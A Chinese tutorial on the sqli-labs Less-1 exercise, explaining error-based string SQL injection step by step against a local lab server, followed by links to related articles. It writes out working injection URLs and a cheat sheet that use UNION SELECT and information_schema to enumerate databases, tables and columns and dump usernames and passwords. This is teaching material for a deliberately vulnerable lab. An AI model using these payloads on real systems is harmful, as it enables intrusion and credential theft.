通过sqli-labs学习sql注入——基础挑战之less1
环境准备:
Phpstudy (PHP+Apache+Mysql)
Sql-lab
首先了解下基础知识:
URL编码:
因为在浏览器中,当我们访问一个网址的时候,浏览器会自动将用户输入的网址进行URL编码,因为Http协议中参数的传输是"key=value"这种键值对形式的,所以会将“=”,“#”等字常见的字符进行URL编码。等号的URL编码为%23,空格是%20,单引号是%27, 井号是%23,双引号是%22等,(详情可参考http://www.w3school.com.cn/tags/html_ref_urlencode.html)
因为涉及到Mysql数据库,在插入数据库语句时会用到Mysql数据库的注释符
Mysql支持三种注释方式:
1.从‘#'字符从行尾。 2.从‘-- '序列到行尾。请注意‘-- '(双破折号)注释风格要求第2个破折号后面至少跟一个空格符(例如空格、tab、换行符(用%20或者+表示空格)等等)。 3.从/*序列到后面的*/序列。结束序列不一定在同一行中,因此该语法允许注释跨越多行。
SQL手工注入的基本流程:
1、首先判断是什么类型的注入,有没过滤了关键字,能不能通过加入注释符绕过 2、接着获取当前数据库用户,版本,当前连接的数据库等信息。 3、然后一般是获取用户账户密码的那个数据库表的信息 4、接着获取列信息 5、最后就获取数据了
为了方便学习查看,可以在源码中的$sql下一句语句写以下php语句(就是输出拿到数据库查询的完整语句是怎么样的)
echo "你的 sql 语句是:".$sql."<br>";
Less-1 -- GET-Error based - String quotes (报错型注入)
首先点开第一个练习,URL为http://192.168.139.131/sqli-lab/Less-1/
根据提示信息,给URL传入参数,然后查看输入不同的值页面返回的数据的不同
尝试如果输入的值id不是整数,那么我们可以传入一个非整数来看看,则不会返回数据;
第一步:判断注入点是否存在
通过替换id的值可以肯出页面返回的信息是不同的,经尝试所以手贱的尝试添加个引号
在参数id后加上引号后发现页面报错,这里可以看到报错信息直接显示在页面上,根据报错信息可以看出数据库是Mysql数据库的。在测试SQL注入时,如果页面上没有很明显的报错信息时,可以将数据包放到Burp中观察返回数据包的大小来判断。
由上图可以看出报错信息是:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''8'' LIMIT 0,1' at line 1
从报错信息中可以看出来一部分SQL语句:
’ 8’ ’ LIMIT 0,1
在这里的8' 是我们传入的参数,从报错信息大致可以才出来后台SQL语句形式
select XXX, XXX from users where id='$_GET[id]' limit 0,1
那么结合我们刚刚传入的id值则可以组成的SQL语句大致为:
select XXX, XXX from users where id=' 8’ ' limit 0,1
如果是在Mysql数据库中传入畸形参数-比如说单引号,数据库语句就无法执行,会一直处于等待闭合的状态,但是对于SQL执行语句来说,它会认为这是一个错误的SQL语句,并且返回一个错误提示信息。所以此时我们应该闭合单引号或者是注释掉单引号。
select XXX, XXX from users where id=' 8’ ‘ ' limit 0,1
或者注释掉后面的单引号
select XXX, XXX from users where id=' 8’ -- ' limit 0,1 (’-- ’ 采用双短线+空格注释后面的语句)
或
select XXX, XXX from users where id=' 8’ # ' limit 0,1 (采用’#‘注释)
由上面两幅图可以看出,数据正常返回,说明SQL语句正常执行了,后面的单引号被注释了
注意点:
1、为什么是 ‘--+’ 而不是 ‘—‘
因为这里字符 ‘-‘ 和字符 ‘+‘ 在URL中都是有固定的含义的 , 比如说 ‘+’ 就在URL编码中就代表空格 , 而URL编码中 ‘-‘ 不用编码
2、为什么 ‘--+’ 没有被URL
因为由于这里我们是用+代替了空格, 因此不需要进行编码 , 我们也可以不用 ’+’ 而使用空格的URL编码 , 那么编码得到的URL就应该是 :
http://192.168.139.131/sqli-lab/Less-1/?id=8' --%20
3、’#’ 又为什么必须得编码,不编码不可以吗?
不可以 , 因为 ’#’ 在URL中是有固定的含义的 , 表示页面中的锚点 , 如果不进行编码浏览器就会将其当成页面的锚点 , 而这里我们是需要将其作为数据传输给服务器的 , 因此需要进行URL编码。
现在我们能控制的字段是id后面传入的参数,然后拼接到原来的SQL语句中执行,所以通过构造传入不同的id参数,达到控制系统内执行我们所需要的SQL语句。
所以接下来第二步:猜解字段长度
http://192.168.139.131/sqli-lab/Less-1/?id=8' order by 3 --+
从上面对比可以看出,数据库中字段值为3
通过Order by X 判断数据库中字段数,如果X是小于等于数据库中字段值页面则会返回正常数据,如果X大于数据库中字段值也会则会出错
SQL UNION 操作符:
(1)UNION 操作符用于合并两个或多个 SELECT 语句的结果集 (2)请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL (3)对于union而言,如果第一个Sql查询语句为错误的话,那么它会将第二个SQL语句的查询结果作为最后的输出
第三步:确定数据库中字段在页面上的回显位:
使用union联合查询后发现页面返回的数据没变,这是因为如果左边的SQL语句正确执行那么就会只返回左边第一个查询语句的运行结果,那么我们只要让第一行查询的结果是空集(即union左边的select子句查询结果为空),那么我们union右边的查询结果自然就成为了第一行,就打印在网页上了。
这个id传递的是数字,而且一般都是从1开始自增的,我们可以把id值设为非正数(负数或0),浮点数,字符型或字符串都行,主要是使左边的查询语句报错就行。
从上面的union select 1,2, 3 --+语句的执行结果可以看出第2位和第3位是回显位—是数据库中字段可以显示在页面上的位置
所以可以通过替换union select语句中的第2个字段和第三个字段来查询我们所需要的信息,如:
user(): #返回当前数据库连接使用的用户 database(): #返回当前数据库连接使用的数据库 version(): #返回当前数据库的版本 @@datadir #数据库路径 @@version_compile_os #操作系统版本
http://192.168.139.131/sqli-lab/Less-1/?id=-8' union select 1,database(), user() --+
http://192.168.139.131/sqli-lab/Less-1/?id=-8' union select 1,@@datadir, @@version --+
从上面可以看到,通过页面回显位显示出特定的所需要的值,包括数据库用户,物理路径等
在数据库中执行查询语句时,如果页面显示位比较少,又不想重复性操作,这时我们就用到数据库的连接函数了,常用的就concat和concat_ws,其中concat_ws的第一个参数是连接字符串的分隔符,还会用到group_concat(可以把查询出来的多行连接起来)
具体连接函数用法详情请参考:
https://www.cnblogs.com/yingmo/p/6148360.html
http://192.168.139.131/sqli-lab/Less-1/?id=-8' UNION SELECT 1,2,concat_ws(char(32,58,32),user(),database(),version(),@@datadir,@@version_compile_os) --+
查询数据库
SQL注入核心就是找到当前数据库,由上图可以看出当前数据库是security,当然还可以看到当前连接数据库的用户是root,因为root权限比较高,我们不仅可以查看到自己当前的数据看还可以看到其他的数据库信息。
在找到当前的数据库后,如果还想看下其他的数据库的内容,可以用这个语句查询所有的数据库:
http://192.168.139.131/sqli-lab/Less-1/?id=-8' UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+
接下来查询security数据库中有哪些表
首先说一下mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息,下面说一下常用的几个表
(1)SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。 (2)TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表 (3)COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。
详细请看:
http://wenku.baidu.com/link?url=bIA38Slp-g2Bob4VDuTSVY8e04Beqq9Xac4I90UMC9ziQuzxiukpEh5abPK-woB9tuQ4DuY_KhKW-eTHH6ACSiMJmRhctiHvijOEFmENBbS
查询数据库security中的数据表信息
http://192.168.139.131/sqli-lab/Less-1/?id=-8' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
或者
http://192.168.139.131/sqli-lab/Less-1/?id=-8' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
这里的database()函数进行了数据库查询,因为我们已经查到了当前的数据库为security,所有这里还可以用单引号括把数据库的名称用单引号括起来'security'。
还可以通过hex编码数据库名,当然如果嫌麻烦的话这里还可以直接将数据表用hex编码,Firefox自带的hackbar插件就有。注hex编码后在前面加上0x表明这里是16进制编码。
http://192.168.139.131/sqli-lab/Less-1/?id=-8' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
因为我们进行SQL注入时一般是查找用户登录信息,包括用户名密码等信息,所以根据数据特性,一般用户名字段都是放在user表中
查询数据表user中的数据列信息:
http://192.168.139.131/sqli-lab/Less-1/?id=-8' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
根据列查询特定字段值:
知道了数据库、表名、各个字段名可以直接进行查询了,不需借助information_schanem数据库了。
http://192.168.139.131/sqli-lab/Less-1/?id=-8' UNION SELECT 1,2,group_concat(char(32,58,32),id,username,password) from users --+
http://192.168.139.131/sqli-lab/Less-1/?id=-8' union select 1,username,password from users where id =2--+
也许很多人可能会想,这里和开始有什么区别吗?只要我在开始的时候修改那个参数id的值,岂不就可以获取其他的字段信息了吗?何必如此呢?但是如果你这么想,那么你忽略了一点就是,之前的情况下,你是不知道表名的。你只可以查询指定的数据库、表名、字段信息,但是现在你可以进行修改,查询其他系统的数据库的信息了!
简单的对之前的信息进行整理:
order by -- + 判断字段数目 union select -- + 联合查询收集信息 id=1′ and 1=2 UNION SELECT 1,2,database() -- + 查询当前数据库 id=1’ and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata -- +查询所有数据库 id=1′ and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- +查询表名 id=1′ and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ -- + 查询列名 id=1′ and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users -- + 查询字段值
参考链接:
https://www.freebuf.com/articles/web/160352.html https://blog.csdn.net/u012763794/article/details/51207833# https://blog.csdn.net/Fly_hps/article/details/80234840?utm_source=blogxgwz1
通过sqli-labs学习sql注入——基础挑战之less1的更多相关文章
- 通过sqli-labs学习sql注入——基础挑战之less1-3
首先,先看一些基础知识吧!!!!本人只是初学者,记录一下自己的学习过程,有什么错误之处请指出,谢谢!大佬请绕过!!!! url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加 ...
- Sql注入基础原理介绍
说明:文章所有内容均截选自实验楼教程[Sql注入基础原理介绍]~ 实验原理 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击, ...
- web安全学习(sql注入1)
web安全学习(sql注入1) 一.简介 sql语句就是数据库语句,而sql注入就是用户将自己构造的恶意sql语句提交,然后服务器执行提交的危险语句.sql注入可能造成信息泄露以及服务器被控制等危害. ...
- SQL注入 基础学习
SQL注入学习笔记 注入原理 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有 ...
- 2019-9-10:渗透测试,基础学习,sql注入笔记
sql注入1,万能密码,自己写的网站,找到登录窗口,必须和数据库交互,往里插入构造的恶意代码,最后可以直接登录进去,不需要账号和密码,输入的恶意代码成为万能密码,后端拼接的sql语句,SELECT * ...
- Sqli-labs之sql注入基础知识
(1)注入的分类 基于从服务器接收到的响应 ▲基于错误的SQL注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL盲注 •基于布尔SQL盲注 •基于时间的SQL盲注 •基于报错的SQL盲注 基于如何处理输 ...
- WebGoat学习——SQL注入(SQL Injection)
SQL注入(SQL Injection) 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令.攻击者通过web请求提交带有影响正 ...
- TSRC挑战赛:WAF之SQL注入绕过挑战实录
转自腾讯 博文作者:TSRC白帽子 发布日期:2014-09-03 阅读次数:1338 博文内容: 博文作者:lol [TSRC 白帽子] 第二作者:Conqu3r.花开若相惜 来自团队:[Pax.M ...
- 学习SQL注入---1
开始接触SQL注入了,最开始根据网上的思路做了两道注入的题,但对于SQL注入如何实现,怎么一个流程还是不理解.后来,在网上查找了很多资料,现在一点点去理解. 1.利用sqlmap注入的时候,不是所有页 ...
随机推荐
- 2018.08.31 16:26 调试 Swift 和 Pycharm 与 github 之间的链接
花了一段时间调试Swift和Pycharm的链接,网上查了一下有关信息,再加上自己的摸索,一会就掌握了.
- 团队作业——Alpha冲刺 3/12
团队作业--Alpha冲刺 冲刺任务安排 杨光海天 今日任务:完成Android开发环境的搭建,学习基础开发知识 明日任务:继续学习Android开发知识,与其他成员协商,了解自己需要完成的开发任务, ...
- Django商城项目笔记No.18商品部分-数据表创建
数据库表设计 在电商中对于商品,有两个重要的概念:SPU和SKU SPU = Standard Product Unit (标准产品单位) SPU是商品信息聚合的最小单位,是一组可服用.易检索的标准化 ...
- 如何修改word文档中每行字符的最大默认值和每页最大行数默认值
事情起因是这样的,小明在写论文的过程中,发现自己的文档的字与字的间距看起来比其他人的字符间距大,于是觉得奇怪,明明设置了一样的格式啊,设置每行38个字符,每页34行,为什么小明写的文档字符间距看着比较 ...
- webstorm 2017 激活
参考:https://blog.csdn.net/wangyingwing/article/details/79119592
- Unicode,GBK,GB2312,UTF-8概念基础(转载)
第一篇:JAVA字符编码系列一:Unicode,GBK,GB2312,UTF-8概念基础本部分采用重用,转载一篇文章来完成这部分的目标.来源:holen'blog 对字符编码与Unicode,IS ...
- Array对象的方法
* Array.isArray(对象)---->判断这个对象是不是数组 * instanceof关键字 * .concat(数组,数组,数组,...) 组合一个新的数组 * .every(函数) ...
- Docker学习要点记录
Docker的架构和底层技术: 1.docker提供了一个开发,打包,运行app的平台2.把APP和底层infrastructure隔离开来 docker底层技术支持: 1>Namespaces ...
- JAVA框架 Spring 和Mybatis整合(传统dao)
一:我们使用spring处理service,mybaits处理dao层. 二:导入jar包 pom.xml文件内容: <?xml version="1.0" encoding ...
- 数据库基本的的sql语句
数据库数据类型: 1.定义一个学生课程模式: create schma<模式名>authorization <用户名> create schema authorization ...